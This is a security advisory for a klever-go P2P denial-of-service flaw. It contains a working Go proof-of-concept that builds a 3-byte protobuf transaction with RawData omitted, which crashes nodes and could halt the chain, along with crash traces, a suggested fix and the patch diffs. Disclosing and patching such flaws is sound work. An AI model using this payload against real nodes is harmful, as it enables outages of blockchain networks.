VYPR
High severity7.5NVD Advisory· Published Jun 5, 2026· Updated Jun 9, 2026

Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt

CVE-2026-52878

Description

Summary

Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. A protobuf Transaction whose embedded RawData sub-message is omitted decodes to RawData == nil, so validating it triggers a nil-pointer panic.

The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own network/p2p layer install no recover(), so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt).

## Affected component - Root cause: core/versioning/txVersionChecker.go:22 - Reached via: core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity) - Production tx-topic path: core/process/interceptors/multiDataInterceptor.go:171 and :223 - Unprotected caller: network/p2p/libp2p/netMessenger.go pubsubCallback (no recover) - Topic wiring: core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor)

Details

Synchronous validation path, no recovery at any frame:

libp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)
 -> MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171
   -> interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223
     -> InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154
       -> integrity()                                core/process/transaction/interceptedTransaction.go:203
         -> txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   <-- nil deref

Root cause (core/versioning/txVersionChecker.go): ``go func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error { if tx.RawData.Version < tvc.minTxVersion { // tx.RawData is nil -> panic return process.ErrInvalidTransactionVersion } return nil } ``

integrity() calls CheckTxVersion as its very first statement, before any RawData nil-check, and CheckValidity() runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path.

## Preconditions - Attacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the transactions gossip topic. - Production runs with withMessageSigning = true, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized). - No special config or feature flag; the tx interceptor is built unconditionally and subscribes to transactions on every node.

## Impact - Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message. - Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node). - With auto-restart (systemd), re-sending sustains the outage. - Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain. - NOTE: the HTTP POST /transaction/send path is NOT crash-exploitable - the REST server uses gin.Default() (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor.

## Exploit cost / attack complexity - Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital). - Complexity: LOW. Unauthenticated, remote, deterministic.

PoC-Source

Scenario - Build the malicious transaction as it appears on the wire: a protobuf Transaction with RawData omitted (plus a throwaway Signature so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes (12 01 78) and round-trips back to RawData == nil. - Feed it through the REAL production interceptors. The transactions gossip topic is served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go, createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx gossip message and calls ProcessReceivedMessage, which is precisely what the panic-free libp2p pubsubCallback invokes in production. A second test drives the generic SingleDataInterceptor to show the bug is in the shared validation chain. - The data factory is a faithful copy of the production interceptedTxDataFactory.Create: it builds a genuine *InterceptedTransaction. No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of integrity(), upstream of any mock.

How to run 1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.) 2. Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go. 3. Run either (separately - the first panic aborts the test binary): - Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v - Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v - Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

Full PoC source (poc_nil_rawdata_dos_test.go):

// Target component:    klever-go P2P transaction interceptor (network availability)
//                      core/process/transaction/interceptedTransaction.go
//                      core/versioning/txVersionChecker.go:22
// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
//   Every gossiped transaction is decoded and validated synchronously inside the
//   libp2p pubsub topic-validator callback
//   (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
//   recover(). The validation chain is:
//
//       (Multi|Single)DataInterceptor.ProcessReceivedMessage
//         -> InterceptedTransaction.CheckValidity
//           -> integrity()
//             -> txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  <-- nil deref
//
//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
//   so an unauthenticated peer can broadcast a few bytes that panic the validation
//   goroutine and crash the entire node process. Repeating it against the validator
//   set halts consensus.
//
// How to run:
//   1) git clone https://github.com/klever-io/klever-go && cd klever-go
//   2) cp  core/process/interceptors/poc_nil_rawdata_dos_test.go
//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
//   The test process aborts with:
//     panic: runtime error: invalid memory address or nil pointer dereference
//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
//     ... InterceptedTransaction.integrity ... -> CheckValidity
//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
//   i.e. the crash originates from the interceptor's synchronous message-handling frame,
//   exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

package interceptors_test

import (
	"testing"

	"github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/process"
	"github.com/klever-io/klever-go/core/process/interceptors"
	txproc "github.com/klever-io/klever-go/core/process/transaction"
	"github.com/klever-io/klever-go/core/throttler"
	"github.com/klever-io/klever-go/core/versioning"
	cryptoMock "github.com/klever-io/klever-go/crypto/mock"
	"github.com/klever-io/klever-go/data/batch"
	dataTransaction "github.com/klever-io/klever-go/data/transaction"
)

// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
	m := &mock.ProtoMarshalizerMock{}
	maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
	buff, err := m.Marshal(maliciousTx)
	if err != nil {
		t.Fatalf("marshal malicious tx: %v", err)
	}
	return buff
}

// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}

func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
	m := &mock.ProtoMarshalizerMock{}
	return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
		TxBuff:                 buff,
		ProtoMarshalizer:       m,
		SignMarshalizer:        m,
		Hasher:                 mock.HasherMock{},
		KeyGen:                 &cryptoMock.SingleSignKeyGenMock{},
		Signer:                 &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
		PubkeyConv:             &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
		WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
		ChainID:                []byte("chainID"),
		TxSignHasher:           mock.HasherMock{},
		FeeHandler: &mock.FeeHandlerStub{
			CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
				return &dataTransaction.CostResponse{}, nil
			},
		},
		TxVersionChecker: versioning.NewTxVersionChecker(0),
		ForkController:   &mock.ForkControllerStub{},
	})
}
func (pocTxFactory) IsInterfaceNil() bool { return false }

// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
	protoMarsh := &mock.ProtoMarshalizerMock{}

	// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
	b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
	batchBytes, err := protoMarsh.Marshal(b)
	if err != nil {
		t.Fatalf("marshal batch: %v", err)
	}

	th, _ := throttler.NewNumGoRoutinesThrottler(5)
	mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
		Topic:            "transactions",
		Marshalizer:      protoMarsh,
		DataFactory:      pocTxFactory{},
		Processor:        &mock.InterceptorProcessorStub{},
		Throttler:        th,
		AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
		WhiteListRequest: &mock.WhiteListHandlerStub{},
		CurrentPeerID:    core.PeerID("self"),
	})
	if err != nil {
		t.Fatalf("build interceptor: %v", err)
	}

	msg := &mock.P2PMessageMock{
		DataField:  batchBytes,
		TopicField: "transactions",
		PeerField:  core.PeerID("attacker"),
	}

	// In production this is called by the libp2p pubsub callback, which has no recover().
	// The nil-pointer panic therefore propagates and crashes the node process.
	_ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))

	// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
	t.Log("no panic: node survived -> NOT vulnerable")
}

// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
	th, _ := throttler.NewNumGoRoutinesThrottler(5)
	sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
		Topic:            "transactions",
		DataFactory:      pocTxFactory{},
		Processor:        &mock.InterceptorProcessorStub{},
		Throttler:        th,
		AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
		WhiteListRequest: &mock.WhiteListHandlerStub{},
		CurrentPeerID:    core.PeerID("self"),
	})
	if err != nil {
		t.Fatalf("build interceptor: %v", err)
	}

	msg := &mock.P2PMessageMock{
		DataField:  buildMaliciousTxBytes(t),
		TopicField: "transactions",
		PeerField:  core.PeerID("attacker"),
	}

	_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
	t.Log("no panic: node survived -> NOT vulnerable")
}

PoC-Results

Result A - production MultiDataInterceptor (the transactions gossip topic): `` $ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v === RUN TestPoC_NilRawData_MultiDataInterceptor --- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked] [signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4] goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...) .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL ``

Result B - generic SingleDataInterceptor (same root cause via the shared chain): `` $ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v === RUN TestPoC_NilRawData_SingleDataInterceptor --- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked] [signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4] goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1 FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL ``

Interpretation - Both runs abort the process with SIGSEGV originating at txVersionChecker.go:22 (tx.RawData.Version), reached through the real interceptor's synchronous ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub callback executes in production. A recover()-less crash here = full node process exit. - Round-trip check (production tools/marshal.ProtoMarshalizer): the malicious tx is 3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a valid, attacker-craftable wire message (not a malformed blob rejected earlier).

Suggested fix

Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early: ``go func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error { if tx == nil || tx.RawData == nil { return process.ErrInvalidTransactionVersion } if tx.RawData.Version < tvc.minTxVersion { return process.ErrInvalidTransactionVersion } return nil } ``

Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).

Defense-in-depth: - Wrap the synchronous body of pubsubCallback (and/or ProcessReceivedMessage) in a recover() so a single malformed message can never abort the process. - Audit the other direct inTx.tx.RawData.* dereferences in interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same nil-input class.

## Duplicate check (vs published advisories) Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403, GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate: different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM read-only isolation); the advisory texts never mention RawData, CheckTxVersion, txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.

Affected products

2

Patches

3
a3c2e67ac6a8

[KLC-2432] fix nil-Header panic in block interceptor + cover direct-send recover gap (GHSA-rm5c-5x2p-48wr)

https://github.com/klever-io/klever-goFernando SobreiraMay 30, 2026Fixed in 1.7.18via ghsa-release-walk
5 files changed · +162 22
  • core/process/block/interceptedBlocks/interceptedBlock.go+14 5 modified
    @@ -149,18 +149,27 @@ func (inMb *InterceptedBlock) Type() string {
     
     // String returns the transactions body's most important fields as string
     func (inMb *InterceptedBlock) String() string {
    +	// Runs pre-CheckValidity on untrusted data; guard block + nil-safe getters so an
    +	// omitted Header cannot panic (GHSA-rm5c-5x2p-48wr).
    +	if inMb.block == nil {
    +		return ""
    +	}
     	return fmt.Sprintf("epoch=%d, slot=%d, nonce=%d, block numTxs=%d",
    -		inMb.block.Header.Epoch,
    -		inMb.block.Header.Slot,
    -		inMb.block.Header.Nonce,
    +		inMb.block.GetEpoch(),
    +		inMb.block.GetSlot(),
    +		inMb.block.GetNonce(),
     		len(inMb.block.TxHashes),
     	)
     }
     
     // Identifiers returns the identifiers used in requests
     func (inMb *InterceptedBlock) Identifiers() [][]byte {
    -	keyNonce := []byte(fmt.Sprintf("nonce-%d", inMb.block.Header.Nonce))
    -	keyEpoch := []byte(core.EpochStartIdentifier(inMb.block.Header.Epoch))
    +	// Same guard as String: runs pre-CheckValidity on untrusted data (GHSA-rm5c-5x2p-48wr).
    +	if inMb.block == nil {
    +		return [][]byte{inMb.hash}
    +	}
    +	keyNonce := []byte(fmt.Sprintf("nonce-%d", inMb.block.GetNonce()))
    +	keyEpoch := []byte(core.EpochStartIdentifier(inMb.block.GetEpoch()))
     
     	return [][]byte{inMb.hash, keyNonce, keyEpoch}
     }
    
  • core/process/block/interceptedBlocks/interceptedBlock_test.go+27 0 modified
    @@ -437,3 +437,30 @@ func TestInterceptedBlock_CheckValidity(t *testing.T) {
     	}
     
     }
    +
    +// Regression test for GHSA-rm5c-5x2p-48wr (block variant): a nil Header must not panic
    +// Identifiers()/String() (they run before CheckValidity, which still rejects the block).
    +func TestInterceptedBlock_NilHeaderIdentifiersAndStringShouldNotPanic(t *testing.T) {
    +	t.Parallel()
    +
    +	arg := createDefaultBlockArgument()
    +	// Use the proto marshaler to mirror the real gossip/direct-send wire path. Header
    +	// omitted — stays nil after unmarshal, mirroring the PoC payload.
    +	protoMarshalizer := &mock.ProtoMarshalizerMock{}
    +	arg.Marshalizer = protoMarshalizer
    +	arg.BlockBuff, _ = protoMarshalizer.Marshal(&block.Block{PubKeysBitmap: []byte{1}})
    +
    +	inBlk, err := interceptedBlocks.NewInterceptedBlock(arg)
    +	require.Nil(t, err)
    +	require.False(t, check.IfNil(inBlk))
    +
    +	require.NotPanics(t, func() {
    +		_ = inBlk.Identifiers()
    +		_ = inBlk.String()
    +	})
    +
    +	// CheckValidity must still reject the malformed (nil-header) block.
    +	err = inBlk.CheckValidity()
    +	require.Error(t, err)
    +	assert.ErrorIs(t, err, common.ErrNilPreviousBlockHash)
    +}
    
  • network/p2p/libp2p/export_test.go+5 0 modified
    @@ -3,6 +3,7 @@ package libp2p
     import (
     	"context"
     
    +	"github.com/klever-io/klever-go/core"
     	"github.com/klever-io/klever-go/network/p2p"
     	"github.com/klever-io/klever-go/storage"
     	pubsub "github.com/libp2p/go-libp2p-pubsub"
    @@ -41,6 +42,10 @@ func (netMes *networkMessenger) PubsubCallback(handler p2p.MessageProcessor, top
     	return netMes.pubsubCallback(handler, topic)
     }
     
    +func (netMes *networkMessenger) DirectMessageHandler(message *pubsub.Message, fromConnectedPeer core.PeerID) error {
    +	return netMes.directMessageHandler(message, fromConnectedPeer)
    +}
    +
     func (netMes *networkMessenger) ValidMessageByTimestamp(msg p2p.MessageP2P) error {
     	return netMes.validMessageByTimestamp(msg)
     }
    
  • network/p2p/libp2p/netMessenger.go+37 17 modified
    @@ -892,28 +892,15 @@ func (netMes *networkMessenger) pubsubCallback(handler p2p.MessageProcessor, top
     	return func(ctx context.Context, pid peer.ID, message *pubsub.Message) (isValid bool) {
     		fromConnectedPeer := core.PeerID(pid)
     
    -		// Circuit-breaker: this callback runs in an unrecovered pubsub goroutine, so a
    -		// panic on an untrusted message would crash the node (GHSA-rm5c-5x2p-48wr).
    +		// Circuit-breaker: recover so a panic on an untrusted message cannot crash the
    +		// node (GHSA-rm5c-5x2p-48wr).
     		defer func() {
     			if r := recover(); r != nil {
    -				// Read message via nil-safe getters: the recover must not panic itself.
    -				var dataLen int
    -				var originator core.PeerID
    +				netMes.recoverFromMessagePanic(r, topic, fromConnectedPeer, message)
    +				dataLen := 0
     				if message != nil {
     					dataLen = len(message.GetData())
    -					originator = core.PeerID(message.GetFrom())
     				}
    -
    -				log.Error("recovered from panic in pubsubCallback",
    -					"topic", topic,
    -					"originator", p2p.PeerIDToShortString(originator),
    -					"from connected peer", p2p.PeerIDToShortString(fromConnectedPeer),
    -					"panic", fmt.Sprintf("%v", r),
    -					"stack", string(debug.Stack()),
    -				)
    -				// Blacklist both peers, as transformAndCheckMessage does on severe errors.
    -				netMes.blacklistPid(fromConnectedPeer, core.WrongP2PMessageBlacklistDuration)
    -				netMes.blacklistPid(originator, core.WrongP2PMessageBlacklistDuration)
     				netMes.processDebugMessage(topic, fromConnectedPeer, uint64(dataLen), true)
     				isValid = false
     			}
    @@ -943,6 +930,26 @@ func (netMes *networkMessenger) pubsubCallback(handler p2p.MessageProcessor, top
     	}
     }
     
    +// recoverFromMessagePanic logs a recovered panic from processing an untrusted p2p
    +// message and blacklists both the connected peer and the originator, using nil-safe
    +// accessors. Shared by the gossip and direct-send receive paths (GHSA-rm5c-5x2p-48wr).
    +func (netMes *networkMessenger) recoverFromMessagePanic(r interface{}, topic string, fromConnectedPeer core.PeerID, message *pubsub.Message) {
    +	var originator core.PeerID
    +	if message != nil {
    +		originator = core.PeerID(message.GetFrom())
    +	}
    +
    +	log.Error("recovered from panic while processing p2p message",
    +		"topic", topic,
    +		"originator", p2p.PeerIDToShortString(originator),
    +		"from connected peer", p2p.PeerIDToShortString(fromConnectedPeer),
    +		"panic", fmt.Sprintf("%v", r),
    +		"stack", string(debug.Stack()),
    +	)
    +	netMes.blacklistPid(fromConnectedPeer, core.WrongP2PMessageBlacklistDuration)
    +	netMes.blacklistPid(originator, core.WrongP2PMessageBlacklistDuration)
    +}
    +
     func (netMes *networkMessenger) transformAndCheckMessage(pbMsg *pubsub.Message, pid core.PeerID, topic string) (p2p.MessageP2P, error) {
     	msg, errUnmarshal := NewMessage(pbMsg, netMes.marshalizer)
     	if errUnmarshal != nil {
    @@ -1142,6 +1149,19 @@ func (netMes *networkMessenger) directMessageHandler(message *pubsub.Message, fr
     	}
     
     	go func(msg p2p.MessageP2P) {
    +		// Circuit-breaker for the direct-send path: the gossip recover does not cover
    +		// this goroutine (GHSA-rm5c-5x2p-48wr).
    +		defer func() {
    +			if r := recover(); r != nil {
    +				netMes.recoverFromMessagePanic(r, topic, fromConnectedPeer, message)
    +				dataLen := 0
    +				if message != nil {
    +					dataLen = len(message.GetData())
    +				}
    +				netMes.processDebugMessage(topic, fromConnectedPeer, uint64(dataLen), true)
    +			}
    +		}()
    +
     		if check.IfNil(msg) {
     			return
     		}
    
  • network/p2p/libp2p/netMessenger_test.go+79 0 modified
    @@ -1599,6 +1599,85 @@ func TestNetworkMessenger_PubsubCallbackRecoversFromHandlerPanic(t *testing.T) {
     	_ = mes.Close()
     }
     
    +// Regression test for GHSA-rm5c-5x2p-48wr (direct-send variant): a panic in the
    +// direct-send goroutine must be recovered (no crash) and blacklist the sender.
    +func TestNetworkMessenger_DirectMessageHandlerRecoversFromPanic(t *testing.T) {
    +	args := libp2p.ArgsNetworkMessenger{
    +		Marshalizer:   &commonMock.ProtoMarshalizerMock{},
    +		ListenAddress: libp2p.ListenLocalhostAddrWithIp4AndTcp,
    +		P2pConfig: config.P2PConfig{
    +			Node: config.NodeConfig{
    +				Port: "0",
    +			},
    +			KadDhtPeerDiscovery: config.KadDhtPeerDiscoveryConfig{
    +				Enabled: false,
    +			},
    +			Sharding: config.ShardingConfig{
    +				Type: p2p.NilListSharder,
    +			},
    +		},
    +		SyncTimer: &libp2p.LocalSyncTimer{},
    +	}
    +
    +	mes, _ := libp2p.NewNetworkMessenger(args)
    +
    +	// processReceivedDirectMessage enforces From == fromConnectedPeer, so the originator
    +	// and connected peer are the same on the direct path.
    +	peerID := mes.ID()
    +
    +	blacklistedCh := make(chan string, 4)
    +	_ = mes.SetPeerDenialEvaluator(&mock.PeerDenialEvaluatorStub{
    +		UpsertPeerIDCalled: func(pid core.PeerID, duration time.Duration) error {
    +			blacklistedCh <- string(pid)
    +			return nil
    +		},
    +		IsDeniedCalled: func(pid core.PeerID) bool {
    +			return false
    +		},
    +	})
    +
    +	topic := "topic"
    +	_ = mes.CreateTopic(topic, false)
    +	numCalled := uint32(0)
    +	_ = mes.RegisterMessageProcessor(topic, &mock.MessageProcessorStub{
    +		ProcessMessageCalled: func(message p2p.MessageP2P, fromConnectedPeer core.PeerID) error {
    +			atomic.AddUint32(&numCalled, 1)
    +			panic("simulated nil-pointer dereference while processing a malicious block")
    +		},
    +	})
    +
    +	innerMessage := &data.TopicMessage{
    +		Payload:   []byte("data"),
    +		Timestamp: time.Now().Unix(),
    +		Version:   libp2p.CurrentTopicMessageVersion,
    +	}
    +	buff, _ := args.Marshalizer.Marshal(innerMessage)
    +	msg := &pubsub.Message{
    +		Message: &pubsub_pb.Message{
    +			From:  []byte(peerID),
    +			Data:  buff,
    +			Seqno: []byte{0, 0, 0, 1},
    +			Topic: &topic,
    +		},
    +	}
    +
    +	// The recover runs in a goroutine: if it failed, the test binary would crash.
    +	require.NotPanics(t, func() {
    +		_ = mes.DirectMessageHandler(msg, peerID)
    +	})
    +
    +	// Wait for the recover to blacklist the sender.
    +	select {
    +	case pid := <-blacklistedCh:
    +		assert.Equal(t, string(peerID), pid, "sender should be blacklisted on panic")
    +	case <-time.After(2 * time.Second):
    +		t.Fatal("timed out waiting for the sender to be blacklisted")
    +	}
    +	assert.Equal(t, uint32(1), atomic.LoadUint32(&numCalled))
    +
    +	_ = mes.Close()
    +}
    +
     func TestNetworkMessenger_UnjoinAllTopicsShouldWork(t *testing.T) {
     	args := libp2p.ArgsNetworkMessenger{
     		Marshalizer:   &commonMock.ProtoMarshalizerMock{},
    
7622deed6128

[KLC-2432] fix unauthenticated nil-pointer panic in tx interceptor (GHSA-rm5c-5x2p-48wr)

https://github.com/klever-io/klever-goFernando SobreiraMay 29, 2026Fixed in 1.7.18via ghsa-release-walk
6 files changed · +183 1
  • core/process/transaction/interceptedTransaction.go+6 0 modified
    @@ -146,6 +146,12 @@ func createTx(marshalizer marshal.Marshalizer, txBuff []byte) (*transaction.Tran
     		return nil, err
     	}
     
    +	// A Transaction with RawData omitted unmarshals to a nil RawData; reject it so
    +	// downstream code can rely on RawData being set (GHSA-rm5c-5x2p-48wr).
    +	if tx.RawData == nil {
    +		return nil, process.ErrNilTransaction
    +	}
    +
     	return tx, nil
     }
     
    
  • core/process/transaction/interceptedTransaction_test.go+18 0 modified
    @@ -513,6 +513,24 @@ func TestNewInterceptedTransaction_UnmarshalingTxFailsShouldErr(t *testing.T) {
     	assert.Equal(t, errExpected, err)
     }
     
    +// Regression test for GHSA-rm5c-5x2p-48wr: the constructor must reject a tx with
    +// nil RawData instead of letting it panic the node later in CheckValidity.
    +func TestNewInterceptedTransaction_NilRawDataShouldErrAndNotPanic(t *testing.T) {
    +	t.Parallel()
    +
    +	chainID := []byte("chain")
    +	// RawData omitted — stays nil after unmarshal, mirroring the PoC payload.
    +	tx := &dataTransaction.Transaction{
    +		Signature: [][]byte{{0x78}},
    +	}
    +
    +	require.NotPanics(t, func() {
    +		txi, err := createInterceptedTxFromPlainTx(tx, createFreeTxFeeHandler(), chainID, 1)
    +		assert.True(t, check.IfNil(txi))
    +		assert.Equal(t, process.ErrNilTransaction, err)
    +	})
    +}
    +
     func TestNewInterceptedTransaction_ShouldWork(t *testing.T) {
     	t.Parallel()
     
    
  • core/versioning/txVersionChecker.go+6 0 modified
    @@ -19,6 +19,12 @@ func NewTxVersionChecker(minTxVersion uint32) *txVersionChecker {
     
     // CheckTxVersion will check transaction version
     func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
    +	// Must stay ErrInvalidTransactionVersion: IsWrongVersionError keys on it to
    +	// blacklist the sender.
    +	if tx == nil || tx.RawData == nil {
    +		return process.ErrInvalidTransactionVersion
    +	}
    +
     	if tx.RawData.Version < tvc.minTxVersion {
     		return process.ErrInvalidTransactionVersion
     	}
    
  • core/versioning/txVersionChecker_test.go+32 0 modified
    @@ -3,6 +3,7 @@ package versioning
     import (
     	"testing"
     
    +	"github.com/klever-io/klever-go/core/process"
     	"github.com/klever-io/klever-go/data/transaction"
     	"github.com/stretchr/testify/require"
     )
    @@ -18,3 +19,34 @@ func TestTxVersionChecker_CheckTxVersionShouldWork(t *testing.T) {
     	err := tvc.CheckTxVersion(tx)
     	require.Nil(t, err)
     }
    +
    +// Regression test for GHSA-rm5c-5x2p-48wr: nil RawData must error, not panic.
    +func TestTxVersionChecker_CheckTxVersionNilRawDataShouldErrAndNotPanic(t *testing.T) {
    +	tvc := NewTxVersionChecker(1)
    +
    +	require.NotPanics(t, func() {
    +		err := tvc.CheckTxVersion(&transaction.Transaction{})
    +		require.Equal(t, process.ErrInvalidTransactionVersion, err)
    +	})
    +}
    +
    +func TestTxVersionChecker_CheckTxVersionNilTxShouldErrAndNotPanic(t *testing.T) {
    +	tvc := NewTxVersionChecker(1)
    +
    +	require.NotPanics(t, func() {
    +		err := tvc.CheckTxVersion(nil)
    +		require.Equal(t, process.ErrInvalidTransactionVersion, err)
    +	})
    +}
    +
    +func TestTxVersionChecker_CheckTxVersionBelowMinShouldErr(t *testing.T) {
    +	minTxVersion := uint32(2)
    +	tx := &transaction.Transaction{
    +		RawData: &transaction.Transaction_Raw{
    +			Version: minTxVersion - 1,
    +		},
    +	}
    +	tvc := NewTxVersionChecker(minTxVersion)
    +	err := tvc.CheckTxVersion(tx)
    +	require.Equal(t, process.ErrInvalidTransactionVersion, err)
    +}
    
  • network/p2p/libp2p/netMessenger.go+30 1 modified
    @@ -7,6 +7,7 @@ import (
     	"io"
     	"math"
     	"math/big"
    +	"runtime/debug"
     	"sort"
